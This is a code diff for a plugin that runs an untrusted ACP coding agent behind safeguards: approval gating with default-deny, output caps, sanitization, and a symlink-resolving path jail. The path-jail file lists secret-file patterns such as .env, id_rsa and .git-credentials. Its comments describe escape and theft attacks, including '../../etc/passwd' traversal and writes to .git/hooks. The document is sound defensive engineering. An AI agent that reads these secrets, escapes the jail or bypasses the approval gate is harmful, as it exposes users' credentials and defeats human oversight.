* identified by a category + dedupe key (not necessarily an ACP `toolCall`).
*
* Exported so the fs `writeTextFile` path (U7) routes its `file_write_delete`
* gating through the IDENTICAL approval machinery as U5 — register, block on
* `pauseForApproval`, re-read the final status, finalize — with the same
* default-deny floor when no human channel exists. Never throws, never allows
* on failure.
*/
export async function runApprovalForCategory(
gate: PermissionGate,
req: {
category: FusionCategory;
toolName: string;
dedupeKey: string;
args?: Record<string, unknown>;
},
): Promise<"allow" | "deny"> {
const { category, dedupeKey } = req;
if (typeof gate.createApprovalRequest !== "function") {
// No human channel available → default-deny.
return "deny";
}
const decisionPayload = {
disposition: "require-approval" as const,
category,
toolName: req.toolName,
approvalDedupeKey: dedupeKey,
};
const mapStatus = (status: ApprovalStatus | undefined): "allow" | "deny" =>
status === "approved" ? "allow" : "deny";
try {
// Reuse a prior decision for an identical call when available.
if (typeof gate.findApprovalByDedupeKey === "function") {
const prior = await gate.findApprovalByDedupeKey(dedupeKey);
if (prior && (prior.status === "approved" || prior.status === "denied")) {
return mapStatus(prior.status);
}
}
// Default-deny BEFORE creating a request when the HITL round-trip cannot
// complete: without `pauseForApproval` we cannot block for a decision, and
// without `findApprovalByDedupeKey` we cannot READ the decision after the
// pause — a human approval would be silently discarded (mapStatus(undefined)
// → deny). Denying upfront never orphans a pending record and never wastes
// a human's approval on an outcome that would be denied anyway.
if (
typeof gate.pauseForApproval !== "function" ||
typeof gate.findApprovalByDedupeKey !== "function"
) {
return "deny";
}
const created = (await gate.createApprovalRequest(
decisionPayload,
req.args ?? {},
)) as { id?: string } | undefined;
const approvalRequestId = typeof created?.id === "string" ? created.id : dedupeKey;
await gate.pauseForApproval({ approvalRequestId, decision: decisionPayload });
// Re-read the final status after the pause resolves.
let finalStatus: ApprovalStatus | undefined;
if (typeof gate.findApprovalByDedupeKey === "function") {
const resolved = await gate.findApprovalByDedupeKey(dedupeKey);
finalStatus = resolved?.status;
}
if (typeof gate.markApprovalCompleted === "function") {
await gate.markApprovalCompleted(approvalRequestId);
}
return mapStatus(finalStatus);
} catch {
// Any HITL failure (timeout/dismiss/store error) → default-deny, no throw.
return "deny";
}
}
/**
* The full per-call security floor: classify → read the per-category
* disposition → run HITL for `require-approval` → select an `allow_once`-only
* option → build the ACP response.
*
* Default-deny on: missing gate, missing `permissionPolicy`, unmappable kind,
* `require-approval` without a resolvable approver, or a missing `allow_once`
* option.
*/
export interface ResolvePermissionOptions {
/**
* Risk S1 acknowledgement. When false (the safe default), a blanket `allow`
* disposition on a *sensitive* category is escalated to `require-approval`
* rather than auto-approved — so the shipped `unrestricted` default policy
* does not silently green-light an untrusted agent's command/file/network
* calls. The user opts out of the escalation by acknowledging the risk.
*/
allowUnrestricted?: boolean;
}
/**
* Per-category disposition with the Risk S1 acknowledgement escalation applied:
* a *sensitive* category the policy would `allow` is upgraded to
* `require-approval` unless `allowUnrestricted` is set. `exempt` (read-only)
* never escalates. Exported so the fs write path applies the identical rule.
*/
export function effectiveDisposition(
category: FusionCategory | "exempt",
gate: PermissionGate,
opts?: ResolvePermissionOptions,
): GateDisposition {
const disposition = dispositionFor(category, gate);
if (disposition === "allow" && category !== "exempt" && opts?.allowUnrestricted !== true) {
return "require-approval";
}
return disposition;
}
export async function resolvePermission(
toolCall: ToolCallUpdate,
options: PermissionOption[],
gate: PermissionGate | undefined,
opts?: ResolvePermissionOptions,
): Promise<RequestPermissionResponse> {
// No gate / no policy → default-deny.
if (!gate || !gate.permissionPolicy) {
return buildResponse(selectOption("deny", options));
}
const category = classifyToolKind(toolCall?.kind);
// Unmappable / missing / `other` kind → most-restrictive deny.
if (category === DENY) {
return buildResponse(selectOption("deny", options));
}
// Per-category disposition + S1 acknowledgement escalation.
const disposition = effectiveDisposition(category, gate, opts);
if (disposition === "allow") {
return buildResponse(selectOption("allow", options));
}
if (disposition === "block") {
return buildResponse(selectOption("deny", options));
}
// require-approval → HITL (or default-deny when no human channel exists).
const decision = await runApproval(toolCall, category as FusionCategory, gate);
return buildResponse(selectOption(decision, options));
}

View File

@@ -0,0 +1,307 @@
// Event bridge: translate ACP `session/update` notifications into Fusion's
// `AgentRuntime` callbacks (onText / onThinking / onToolStart / onToolEnd) so an
// ACP agent renders identically to existing runtimes.
//
// Scope (U4): mapping only. Output BYTE bounds + string sanitization are U6 — no
// caps are applied here. Permission requests are U5.
//
// Design notes:
// - Tolerant: every field except the `sessionUpdate` discriminator and
// `toolCallId` is optional/partial. The handler NEVER throws on a malformed or
// partial update; unknown/forward-compat tags are ignored silently.
// - Tool start/end correlation: a `tool_call` records `{ title, kind }` keyed by
// `toolCallId`; a later `tool_call_update` carries that metadata forward when
// the update omits it, then fires `onToolEnd` once the status reaches a
// terminal value (`completed` / `failed`).
// - Plans are FULL REPLACEMENTS: each `plan` (or `plan_update`) update replaces
// the prior snapshot wholesale; we never accumulate across updates.
import type {
SessionUpdate,
ContentBlock,
ToolKind,
PlanEntry,
} from "@agentclientprotocol/sdk";
import type { AcpCallbacks } from "./types.js";
import { toolDisplayName, normalizeToolArgs } from "./tool-mapping.js";
import { stripControlSequences, boundString, boundIdentifier } from "./sanitize.js";
// --- U6 untrusted-input bounds (Risk S5) -----------------------------------
//
// The agent is untrusted input. The high inactivity ceiling (KTD4) does NOT
// bound an *actively* flooding agent, so the bridge caps what it forwards.
/**
* Per-turn cumulative cap (chars) on forwarded text+thinking. Once exceeded, the
* bridge stops forwarding further text/thinking and emits ONE truncation flag.
* Cleared by `reset()` at the start of each prompt turn. ~5M chars ≈ 5 MB.
*/
export const PER_TURN_OUTPUT_CAP_CHARS = 5_000_000;
/** Per-chunk cap (chars) applied to a single content chunk before forwarding. */
export const PER_CHUNK_CAP_CHARS = 64_000;
/**
* Max number of distinct `toolCallId`s tracked in the correlation map. A flooding
* agent supplying unbounded unique ids must not grow the map without limit —
* oldest entries are evicted once the cap is exceeded (bounded memory).
*/
export const TOOL_CALL_MAP_CAP = 1000;
/**
* Max plan entries formatted into the plan log line. Entry size is bounded in
* formatPlan; this bounds the COUNT so one plan event cannot bypass the
* per-turn output budget with thousands of 64KB entries (Risk S5).
*/
export const MAX_PLAN_ENTRIES = 100;
/** Tracked metadata for an in-flight tool call, keyed by `toolCallId`. */
interface TrackedToolCall {
title?: string | null;
kind?: ToolKind | null;
/** Whether onToolEnd has already fired (terminal status seen). */
ended: boolean;
}
export interface EventBridge {
/** Process one `session/update` payload (`params.update`). Never throws. */
handleSessionUpdate(update: SessionUpdate): void;
/** Clear per-turn correlation state (tool calls, plan snapshot, last text). */
reset(): void;
}
/** Extract plain text from a `ContentBlock`, or `undefined` for non-text blocks. */
function extractText(content: ContentBlock | undefined): string | undefined {
if (content && content.type === "text" && typeof content.text === "string") {
return content.text;
}
return undefined;
}
/**
* Repair the specific "sentence punctuation + capitalized next sentence" case
* where an agent splits adjacent sentences across chunks without the separating
* space. Mirrors the droid runtime's `normalizeStreamingDelta` — conservative so
* code, domains, and lowercase continuations are left untouched.
*/
function normalizeStreamingDelta(previousText: string, nextDelta: string): string {
if (!previousText || !nextDelta) return nextDelta;
const previousChar = previousText.slice(-1);
const nextChar = nextDelta[0] ?? "";
if (/\s/.test(previousChar) || /\s/.test(nextChar)) return nextDelta;
if (/[.!?]/.test(previousChar) && /[A-Z0-9"'([]/.test(nextChar)) {
return ` ${nextDelta}`;
}
return nextDelta;
}
/** Format a plan snapshot into a single thinking/log line. */
function formatPlan(entries: PlanEntry[]): string {
const lines = entries.map((entry) => {
const status = typeof entry.status === "string" ? entry.status : "pending";
// Plan text is agent-supplied — sanitize control/ANSI before it reaches a
// log/UI line (Risk S7) and bound its length (Risk S5).
const rawText = typeof entry.content === "string" ? entry.content : "";
const text = boundString(stripControlSequences(rawText), PER_CHUNK_CAP_CHARS);
return `- [${stripControlSequences(status)}] ${text}`;
});
return `Plan:\n${lines.join("\n")}`;
}
export function createEventBridge(callbacks: AcpCallbacks): EventBridge {
// Start/end correlation across `tool_call` → `tool_call_update`. Insertion
// order is preserved by Map, so the oldest key is the first iterator entry —
// used for FIFO eviction once TOOL_CALL_MAP_CAP is exceeded (Risk S5).
const toolCalls = new Map<string, TrackedToolCall>();
// Running text/thinking accumulators for delta-space repair across chunks.
let textSoFar = "";
let thinkingSoFar = "";
// Cumulative chars forwarded (text+thinking) this turn (Risk S5).
let cumulativeOutputChars = 0;
// Whether the per-turn cap was hit and the single flag line already emitted.
let outputCapFlagged = false;
function reset(): void {
toolCalls.clear();
textSoFar = "";
thinkingSoFar = "";
cumulativeOutputChars = 0;
outputCapFlagged = false;
}
/**
* Track a bounded toolCallId for use as a Map key, evicting the oldest entry
* when the cap is exceeded so a flood of unique ids cannot grow memory without
* limit. Returns the normalized id, or `undefined` when the id is empty.
*/
function setTracked(rawId: string, tracked: TrackedToolCall): string | undefined {
const id = boundIdentifier(rawId);
if (id === "") return undefined;
// Re-insert moves an existing key to the tail (refresh recency); for a new
// key, evict the oldest first so size stays bounded.
if (!toolCalls.has(id) && toolCalls.size >= TOOL_CALL_MAP_CAP) {
const oldest = toolCalls.keys().next().value;
if (oldest !== undefined) toolCalls.delete(oldest);
}
toolCalls.set(id, tracked);
return id;
}
/**
* Forward one sanitized + bounded delta through `emit`, honoring the per-turn
* cumulative cap. Once the cap is exceeded, forwarding stops and a single
* truncation flag line is emitted via `onThinking`.
*/
function forwardBounded(
raw: string,
prior: string,
emit: (delta: string) => void,
): string {
if (outputCapFlagged) return prior;
if (cumulativeOutputChars >= PER_TURN_OUTPUT_CAP_CHARS) {
outputCapFlagged = true;
callbacks.onThinking?.(
"[output truncated: per-turn limit reached — further agent output suppressed]",
);
return prior;
}
// Sanitize control/ANSI (Risk S7) and bound the single chunk (Risk S5).
const sanitized = boundString(stripControlSequences(raw), PER_CHUNK_CAP_CHARS);
if (sanitized === "") return prior;
const delta = normalizeStreamingDelta(prior, sanitized);
cumulativeOutputChars += delta.length;
emit(delta);
return prior + delta;
}
function emitText(content: ContentBlock | undefined): void {
const raw = extractText(content);
if (raw === undefined || raw === "") return;
textSoFar = forwardBounded(raw, textSoFar, (delta) => callbacks.onText?.(delta));
}
function emitThinking(content: ContentBlock | undefined): void {
const raw = extractText(content);
if (raw === undefined || raw === "") return;
thinkingSoFar = forwardBounded(raw, thinkingSoFar, (delta) =>
callbacks.onThinking?.(delta),
);
}
/** Sanitize an agent-supplied tool title before it reaches a callback/log (S7). */
function safeTitle(title: string | null | undefined): string | null | undefined {
if (typeof title !== "string") return title;
return boundString(stripControlSequences(title), PER_CHUNK_CAP_CHARS);
}
function handleToolCall(update: Extract<SessionUpdate, { sessionUpdate: "tool_call" }>): void {
if (typeof update.toolCallId !== "string") return;
const title = safeTitle(update.title);
const id = setTracked(update.toolCallId, { title, kind: update.kind, ended: false });
if (id === undefined) return;
const name = toolDisplayName({ title, kind: update.kind });
callbacks.onToolStart?.(name, normalizeToolArgs(update.rawInput));
}
function handleToolCallUpdate(
update: Extract<SessionUpdate, { sessionUpdate: "tool_call_update" }>,
): void {
if (typeof update.toolCallId !== "string") return;
const id = boundIdentifier(update.toolCallId);
if (id === "") return;
const tracked = toolCalls.get(id) ?? { ended: false };
// Carry forward title/kind from the prior `tool_call` when this update omits
// them (a partial update may only set status/output).
if (update.title != null) tracked.title = safeTitle(update.title);
if (update.kind != null) tracked.kind = update.kind;
// `id` is already bounded above; setTracked re-keys with the same value.
setTracked(id, tracked);
const status = update.status;
if (status !== "completed" && status !== "failed") {
// Intermediate (pending/in_progress) — tracking updated, no callback.
return;
}
if (tracked.ended) return; // already fired a terminal callback
tracked.ended = true;
const name = toolDisplayName({ title: tracked.title, kind: tracked.kind });
callbacks.onToolEnd?.(name, status === "failed", update.rawOutput);
}
function handlePlan(entries: PlanEntry[] | undefined): void {
// FULL REPLACEMENT: drop any prior snapshot, surface the new one once.
// Plan output is charged against the same per-turn budget as text/thinking
// (Risk S5): entry SIZE is bounded in formatPlan, but entry COUNT is
// agent-controlled — without the cap below, one plan event with thousands
// of entries bypasses the per-turn ceiling entirely.
if (outputCapFlagged) return;
// Enforce the ceiling on the plan path too: without this check a plan-ONLY
// stream (no text/thinking ever entering forwardBounded) would keep
// emitting forever after crossing the budget.
if (cumulativeOutputChars >= PER_TURN_OUTPUT_CAP_CHARS) {
outputCapFlagged = true;
callbacks.onThinking?.(
"[output truncated: per-turn limit reached — further agent output suppressed]",
);
return;
}
const list = Array.isArray(entries) ? entries : [];
const capped = list.slice(0, MAX_PLAN_ENTRIES);
let line = formatPlan(capped);
if (list.length > capped.length) {
line += `\n- … ${list.length - capped.length} more entries truncated`;
}
line = boundString(line, PER_CHUNK_CAP_CHARS);
cumulativeOutputChars += line.length;
callbacks.onThinking?.(line);
}
function handleSessionUpdate(update: SessionUpdate): void {
if (!update || typeof update !== "object") return;
try {
switch (update.sessionUpdate) {
case "agent_message_chunk":
emitText(update.content);
break;
case "agent_thought_chunk":
emitThinking(update.content);
break;
case "user_message_chunk":
// Echo of user input — ignored in v1.
break;
case "tool_call":
handleToolCall(update);
break;
case "tool_call_update":
handleToolCallUpdate(update);
break;
case "plan":
handlePlan(update.entries);
break;
case "plan_update":
// The (experimental) `PlanUpdate` variant carries a `plan` field, NOT a
// top-level `entries` array — so there is nothing here to map to our
// entries-based snapshot. v1 treats it as a NO-OP rather than wiping the
// prior plan: the full `plan` event remains the source of truth.
break;
case "plan_removed":
// Clearing the plan: surface nothing.
break;
case "available_commands_update":
case "current_mode_update":
case "config_option_update":
case "session_info_update":
case "usage_update":
// Stored/ignored in v1 — no callback surface.
break;
default:
// Unknown/forward-compat tag — ignore without throwing.
break;
}
} catch {
// Tolerant: a malformed/partial update must never break the stream.
}
}
return { handleSessionUpdate, reset };
}

View File

@@ -0,0 +1,262 @@
// U7 — client filesystem capabilities behind the path jail (KTD6 / Risk S3/S4/S5).
//
// These handlers back the ACP `fs/read_text_file` / `fs/write_text_file` client
// methods. They exist ONLY when the resolved settings opt in (KTD6): reads are
// opt-in, writes default OFF and are additionally routed through the action gate
// as a `file_write_delete` category (reusing the U5 floor — never a free
// capability). Every path crosses `assertPathWithinCwd` (the symlink-resolving
// jail) before any byte is read or written, and the secret/git deny-lists apply
// regardless of cwd membership.
//
// On ANY rejection (jail / deny-list / policy / oversize) these THROW — the SDK
// surfaces the throw as a JSON-RPC error. They MUST NEVER silently succeed.
import { constants as fsConstants } from "node:fs";
import type {
ReadTextFileRequest,
ReadTextFileResponse,
WriteTextFileRequest,
WriteTextFileResponse,
} from "@agentclientprotocol/sdk";
import {
assertPathWithinCwd,
isGitInternal,
isSecretPath,
openWithinCwd,
PathJailError,
} from "./path-jail.js";
import { effectiveDisposition, runApprovalForCategory } from "./control-handler.js";
import type { PermissionGate } from "./types.js";
/** Hard ceiling on bytes returned from a read when `limit` is absent/huge (S5). */
export const DEFAULT_READ_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
/** Hard ceiling on bytes accepted for a single write (S5). */
export const DEFAULT_WRITE_MAX_BYTES = 5 * 1024 * 1024; // 5 MiB
/** Thrown when a write's content exceeds the size ceiling. */
export class FsContentTooLargeError extends Error {
readonly code = "content_too_large" as const;
constructor(readonly limitBytes: number) {
super(`fs write content exceeds the ${limitBytes}-byte ceiling`);
this.name = "FsContentTooLargeError";
}
}
/** Thrown when a gated write is blocked by the permission policy. */
export class FsWriteDeniedError extends Error {
readonly code = "write_denied" as const;
constructor(message: string) {
super(message);
this.name = "FsWriteDeniedError";
}
}
export interface FsHandlerOptions {
/** Confinement root — the task worktree (session cwd). */
cwd: string;
/** Per-run permission gate (U5). Required for write gating. */
gate?: PermissionGate;
/** Advertise/register `readTextFile`. */
allowRead: boolean;
/** Advertise/register `writeTextFile` (default OFF — KTD6). */
allowWrite: boolean;
/**
* Risk S1 acknowledgement. When false (default), a blanket `allow` on the
* `file_write_delete` category is escalated to `require-approval` for the
* untrusted agent rather than auto-approved.
*/
allowUnrestricted?: boolean;
/** Override the read byte ceiling (tests). */
readMaxBytes?: number;
/** Override the write byte ceiling (tests). */
writeMaxBytes?: number;
}
export interface FsHandlers {
readTextFile?: (params: ReadTextFileRequest) => Promise<ReadTextFileResponse>;
writeTextFile?: (params: WriteTextFileRequest) => Promise<WriteTextFileResponse>;
}
/**
* Apply the `line`/`limit` window AND the hard byte ceiling to file content.
*
* `line` is 1-based (per the ACP schema). `limit` caps the number of lines. When
* `limit` is absent or absurdly large the byte ceiling still bounds the result
* so a multi-GB file can't be slurped into memory (S5).
*/
export function applyReadWindow(
content: string,
line: number | null | undefined,
limit: number | null | undefined,
maxBytes: number,
): string {
let out = content;
const hasLine = typeof line === "number" && Number.isFinite(line) && line > 1;
const hasLimit = typeof limit === "number" && Number.isFinite(limit) && limit > 0;
if (hasLine || hasLimit) {
const lines = content.split("\n");
const start = hasLine ? Math.floor(line as number) - 1 : 0;
const end = hasLimit ? start + Math.floor(limit as number) : lines.length;
out = lines.slice(start, end).join("\n");
}
// Byte ceiling regardless of line/limit (truncate on a UTF-8 boundary-safe
// basis by slicing the buffer then decoding).
const buf = Buffer.from(out, "utf8");
if (buf.byteLength > maxBytes) {
out = buf.subarray(0, maxBytes).toString("utf8");
}
return out;
}
/**
* Build the fs handlers, returning ONLY the ones enabled by settings. The
* provider registers these on the `Client` impl iff the matching capability is
* advertised (consistency invariant — KTD6).
*/
export function createFsHandlers(opts: FsHandlerOptions): FsHandlers {
const readMaxBytes = opts.readMaxBytes ?? DEFAULT_READ_MAX_BYTES;
const writeMaxBytes = opts.writeMaxBytes ?? DEFAULT_WRITE_MAX_BYTES;
const handlers: FsHandlers = {};
if (opts.allowRead) {
handlers.readTextFile = async (
params: ReadTextFileRequest,
): Promise<ReadTextFileResponse> => {
const resolved = await assertPathWithinCwd(params.path, opts.cwd);
// Secrets that legitimately live inside the worktree are still denied.
if (isSecretPath(resolved)) {
throw new PathJailError(
"denied_secret",
`read of secret-pattern file denied: ${resolved}`,
);
}
// Reading git internals is also denied (config/token surface).
if (isGitInternal(resolved)) {
throw new PathJailError(
"denied_git",
`read of git-internal file denied: ${resolved}`,
);
}
// Atomic, symlink-safe open (TOCTOU defense), then read.
const handle = await openWithinCwd(resolved, opts.cwd, fsConstants.O_RDONLY);
try {
const hasLimit =
typeof params.limit === "number" &&
Number.isFinite(params.limit) &&
params.limit > 0;
// DoS guard (FIX 4): a multi-GB file would OOM if we `readFile` the whole
// thing before `applyReadWindow` truncates. When the file exceeds the byte
// ceiling AND no bounding `limit` was supplied, read at most ceiling+1
// bytes so memory stays bounded; the +1 still lets applyReadWindow apply
// its truncation marker logic identically to a full read. A `limit` is
// line-bounded and read in full (matches prior behavior).
const stat = await handle.stat();
let content: string;
if (!hasLimit && stat.size > readMaxBytes) {
const buf = Buffer.alloc(readMaxBytes + 1);
const { bytesRead } = await handle.read(buf, 0, readMaxBytes + 1, 0);
content = buf.subarray(0, bytesRead).toString("utf8");
} else {
content = await handle.readFile({ encoding: "utf8" });
}
return {
content: applyReadWindow(content, params.line, params.limit, readMaxBytes),
};
} finally {
await handle.close().catch(() => undefined);
}
};
}
if (opts.allowWrite) {
handlers.writeTextFile = async (
params: WriteTextFileRequest,
): Promise<WriteTextFileResponse> => {
const content = typeof params.content === "string" ? params.content : "";
// Size ceiling BEFORE any filesystem work (S5).
if (Buffer.byteLength(content, "utf8") > writeMaxBytes) {
throw new FsContentTooLargeError(writeMaxBytes);
}
const resolved = await assertPathWithinCwd(params.path, opts.cwd);
// HARD-reject writes to git internals (.git/**) — RCE/token surface (S3).
if (isGitInternal(resolved)) {
throw new PathJailError(
"denied_git",
`write to git-internal path hard-rejected: ${resolved}`,
);
}
// Never let an agent overwrite a secret either.
if (isSecretPath(resolved)) {
throw new PathJailError(
"denied_secret",
`write to secret-pattern file denied: ${resolved}`,
);
}
// Route the write through the action gate as `file_write_delete` (U5):
// allow → proceed, block → reject, require-approval → HITL (or
// default-deny when no human channel). Reuses the U5 helpers so the
// security floor stays single-sourced.
const gate = opts.gate;
const disposition = gate?.permissionPolicy
? effectiveDisposition("file_write_delete", gate, {
allowUnrestricted: opts.allowUnrestricted,
})
: "require-approval";
if (disposition === "block") {
throw new FsWriteDeniedError(
`file_write_delete is blocked by policy: ${resolved}`,
);
}
if (disposition === "require-approval") {
const decision = gate
? await runApprovalForCategory(gate, {
category: "file_write_delete",
toolName: "fs/write_text_file",
dedupeKey: `fs_write|${resolved}`,
args: { path: resolved },
})
: "deny";
if (decision !== "allow") {
throw new FsWriteDeniedError(
`file_write_delete write requires approval and was not granted: ${resolved}`,
);
}
}
// disposition === "allow" → proceed.
// Atomic, symlink-safe create within cwd. O_NOFOLLOW (in openWithinCwd)
// guards ONLY the FINAL component; an intermediate dir swapped to a symlink
// is still followed. We therefore must NOT pass O_TRUNC into open(): doing
// so would TRUNCATE an escaped target BEFORE openWithinCwd's post-open
// realpath re-validation gets to reject it (write-path TOCTOU, FIX 3).
// Instead open create+write WITHOUT truncate, let openWithinCwd run its
// re-validation, and ONLY truncate (via the fd) AFTER it has proven the
// opened inode is still inside the jail.
const handle = await openWithinCwd(
resolved,
opts.cwd,
fsConstants.O_WRONLY | fsConstants.O_CREAT,
0o644,
);
try {
// Truncate-AFTER-validate: openWithinCwd returned only because the
// re-validation passed, so it is now safe to empty the file and write.
await handle.truncate(0);
await handle.writeFile(content, { encoding: "utf8" });
} finally {
await handle.close().catch(() => undefined);
}
return {};
};
}
return handlers;
}

View File

@@ -0,0 +1,62 @@
import { definePlugin } from "@fusion/plugin-sdk";
import type { FusionPlugin, PluginRuntimeFactory, PluginRuntimeManifestMetadata } from "@fusion/plugin-sdk";
import { resolveCliSettings } from "./cli-spawn.js";
import { AcpRuntimeAdapter } from "./runtime-adapter.js";
import { killAllProcesses } from "./process-manager.js";
// Reap any live agent subprocesses on hard process exit so none are orphaned
// (KTD4 — the registry SIGKILL is the authoritative no-orphan guarantee). Scoped
// to tracked agent subprocesses only; never touches other processes/ports.
process.on("exit", killAllProcesses);
export const ACP_RUNTIME_ID = "acp";
const ACP_RUNTIME_VERSION = "0.1.0";
export const acpRuntimeMetadata: PluginRuntimeManifestMetadata = {
runtimeId: ACP_RUNTIME_ID,
name: "ACP Runtime",
description: "Drives any external ACP-compatible agent over JSON-RPC/stdio",
version: ACP_RUNTIME_VERSION,
};
export const acpRuntimeFactory: PluginRuntimeFactory = async (ctx) =>
new AcpRuntimeAdapter(ctx.settings as Record<string, unknown> | undefined);
const plugin: FusionPlugin = definePlugin({
manifest: {
id: "fusion-plugin-acp-runtime",
name: "ACP Runtime Plugin",
version: ACP_RUNTIME_VERSION,
description: "Drives any external ACP-compatible agent over JSON-RPC/stdio",
runtime: acpRuntimeMetadata,
},
state: "installed",
hooks: {
onLoad: (ctx) => {
const settings = resolveCliSettings(ctx.settings as Record<string, unknown>);
ctx.logger.info(
// Log the arg COUNT, not values — args can carry inline tokens/secrets.
`ACP Runtime Plugin loaded — binary=${settings.binaryPath} argCount=${settings.args.length} ` +
`fsRead=${settings.fsRead} fsWrite=${settings.fsWrite}`,
);
// Risk S1: the ACP agent is an untrusted subprocess. Acknowledging the
// unrestricted policy disables the per-call approval escalation — warn so
// it is a deliberate, visible choice.
if (settings.allowUnrestricted) {
ctx.logger.warn(
"ACP Runtime: acpAllowUnrestricted is set — sensitive tool calls from the untrusted agent " +
"will be auto-approved under an allow-all policy. Prefer an approval-required policy.",
);
}
},
},
runtime: {
metadata: acpRuntimeMetadata,
factory: acpRuntimeFactory,
},
});
export default plugin;
export { AcpRuntimeAdapter };
export { resolveCliSettings } from "./cli-spawn.js";
export type { AcpCliSettings } from "./cli-spawn.js";

View File

@@ -0,0 +1,228 @@
// U7 — the SECURITY BOUNDARY for client filesystem capabilities (KTD6a / Risk S3).
//
// `project-root-guard.ts` is a `.fusion`-suffix / git-worktree STRING check, NOT
// a path jail — it is deliberately NOT used here. This module is a real
// symlink-resolving confinement jail. The ACP agent is an untrusted subprocess;
// every path it hands to `fs/read_text_file` / `fs/write_text_file` is hostile
// input and must be proven to resolve INSIDE the session `cwd` before any open.
//
// Threats defended (each has a test):
// 1. Lexical escape — `../../etc/passwd` normalized against cwd → reject.
// 2. Symlink escape — a symlink INSIDE cwd pointing at /etc: lexical
// normalization passes but the REAL target is outside.
// We resolve realpath (follow symlinks) and require it
// within realpath(cwd). New files: validate realpath of
// the PARENT, then lstat the final component and reject
// if it is itself a symlink.
// 3. TOCTOU — `openWithinCwd` opens with O_NOFOLLOW on the final
// component and re-validates the opened fd, so a
// component cannot be swapped for a symlink between
// check and open.
// 4. Secret reads — `.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`,
// `id_*`, `credentials` (by basename) → denied.
// 5. Git-internals write — anything under a `.git/` dir → hard-reject.
// 6. NUL bytes / absolute-escape / separator tricks → reject.
import { constants as fsConstants } from "node:fs";
import { open, realpath, lstat } from "node:fs/promises";
import type { FileHandle } from "node:fs/promises";
import * as path from "node:path";
/** Typed jail rejection. `code` lets callers map to the right JSON-RPC error. */
export type PathJailErrorCode =
| "path_outside_cwd"
| "denied_secret"
| "denied_git"
| "invalid_path";
export class PathJailError extends Error {
readonly code: PathJailErrorCode;
constructor(code: PathJailErrorCode, message: string) {
super(message);
this.code = code;
this.name = "PathJailError";
}
}
/** Secret-bearing basenames/patterns that must never be read even inside cwd. */
const SECRET_BASENAME_PATTERNS: RegExp[] = [
/^\.env($|\..*$)/i, // .env, .env.local, .env.production, ...
/\.pem$/i,
/\.key$/i,
/^\.npmrc$/i,
/^\.netrc$/i,
/^id_.+$/i, // id_rsa, id_ed25519, id_rsa.pub, ...
/^credentials$/i,
/^\.git-credentials$/i, // git stored plaintext credentials
/\.p12$/i, // PKCS#12 keystore
/\.pfx$/i, // PKCS#12 keystore (Windows)
/\.(keystore|jks)$/i, // Java keystore
/^\.dockercfg$/i, // legacy docker registry auth
/^\.pgpass$/i, // PostgreSQL password file
/^\.htpasswd$/i, // Apache basic-auth credentials
];
/**
* Is `resolved` a secret file by basename? Confinement-independent: secrets that
* legitimately live inside the worktree are still denied (KTD6a deny-list).
*/
export function isSecretPath(resolved: string): boolean {
const base = path.basename(resolved);
return SECRET_BASENAME_PATTERNS.some((re) => re.test(base));
}
/**
* Is `resolved` inside a `.git/` directory (git internals)? Writing here yields
* RCE (`.git/hooks/pre-commit`) or token theft (`.git/config`) — hard-reject
* writes regardless of cwd membership (KTD6a deny-list).
*/
export function isGitInternal(resolved: string): boolean {
const segments = resolved.split(path.sep);
return segments.includes(".git");
}
/** Reject a raw request path with NUL bytes or that is empty/non-string. */
function rejectMalformed(requestedPath: string): void {
if (typeof requestedPath !== "string" || requestedPath.length === 0) {
throw new PathJailError("invalid_path", "empty or non-string path");
}
if (requestedPath.includes("\0")) {
throw new PathJailError("invalid_path", "path contains a NUL byte");
}
}
/** True iff `child` is `parent` or a descendant of it (both already real). */
function isWithin(parent: string, child: string): boolean {
if (child === parent) return true;
const withSep = parent.endsWith(path.sep) ? parent : parent + path.sep;
return child.startsWith(withSep);
}
/**
* Resolve `requestedPath` (relative to `cwd`, or absolute) to a SAFE absolute
* path proven to live inside the realpath of `cwd`, or throw `PathJailError`.
*
* - Existing target: resolve realpath of the target (follows all symlinks) and
* require it within realpath(cwd).
* - Non-existent target (a new file to write): resolve realpath of the PARENT
* dir, require THAT within realpath(cwd), then `lstat` the final component and
* reject if it is a symlink (a dangling symlink would otherwise let a later
* open follow it out of the jail).
*
* The returned path is `realpath(parent) + basename` — safe to hand to
* `openWithinCwd`, which re-validates atomically (O_NOFOLLOW) to close TOCTOU.
*/
export async function assertPathWithinCwd(
requestedPath: string,
cwd: string,
): Promise<string> {
rejectMalformed(requestedPath);
// Realpath of the confinement root. If cwd itself can't be resolved, nothing
// can be confined — treat as invalid.
let realCwd: string;
try {
realCwd = await realpath(cwd);
} catch {
throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
}
// Resolve the requested path lexically against cwd FIRST (handles `../`).
const absRequested = path.resolve(realCwd, requestedPath);
// Try to realpath the target itself (exists case).
let resolved: string;
let targetExists = true;
try {
resolved = await realpath(absRequested);
} catch {
targetExists = false;
// Non-existent target: validate the parent dir's realpath, keep the final
// component name. The parent MUST exist and resolve inside cwd.
const parent = path.dirname(absRequested);
let realParent: string;
try {
realParent = await realpath(parent);
} catch {
throw new PathJailError(
"path_outside_cwd",
`parent directory does not resolve: ${parent}`,
);
}
if (!isWithin(realCwd, realParent)) {
throw new PathJailError(
"path_outside_cwd",
`resolved parent escapes cwd: ${realParent}`,
);
}
resolved = path.join(realParent, path.basename(absRequested));
}
if (!isWithin(realCwd, resolved)) {
throw new PathJailError(
"path_outside_cwd",
`resolved path escapes cwd: ${resolved}`,
);
}
// For a non-existent target, the final component must not already be a
// (dangling) symlink that a later open could follow out of the jail.
if (!targetExists) {
try {
const st = await lstat(resolved);
if (st.isSymbolicLink()) {
throw new PathJailError(
"path_outside_cwd",
`final component is a symlink: ${resolved}`,
);
}
} catch (err) {
if (err instanceof PathJailError) throw err;
// ENOENT for a not-yet-created file is expected — fine to proceed.
}
}
return resolved;
}
/**
* Open a jail-validated path atomically (TOCTOU defense, Risk S3 threat 3).
*
* `safePath` MUST be the output of `assertPathWithinCwd`. We open with
* `O_NOFOLLOW` so the FINAL component is never followed if it was swapped for a
* symlink between check and open, then `fstat` + realpath-via-fd re-validate the
* actually-opened inode is still inside `realCwd`. On any mismatch we close and
* throw rather than operate on an escaped handle.
*/
export async function openWithinCwd(
safePath: string,
cwd: string,
flags: number,
mode?: number,
): Promise<FileHandle> {
let realCwd: string;
try {
realCwd = await realpath(cwd);
} catch {
throw new PathJailError("invalid_path", `cwd does not resolve: ${cwd}`);
}
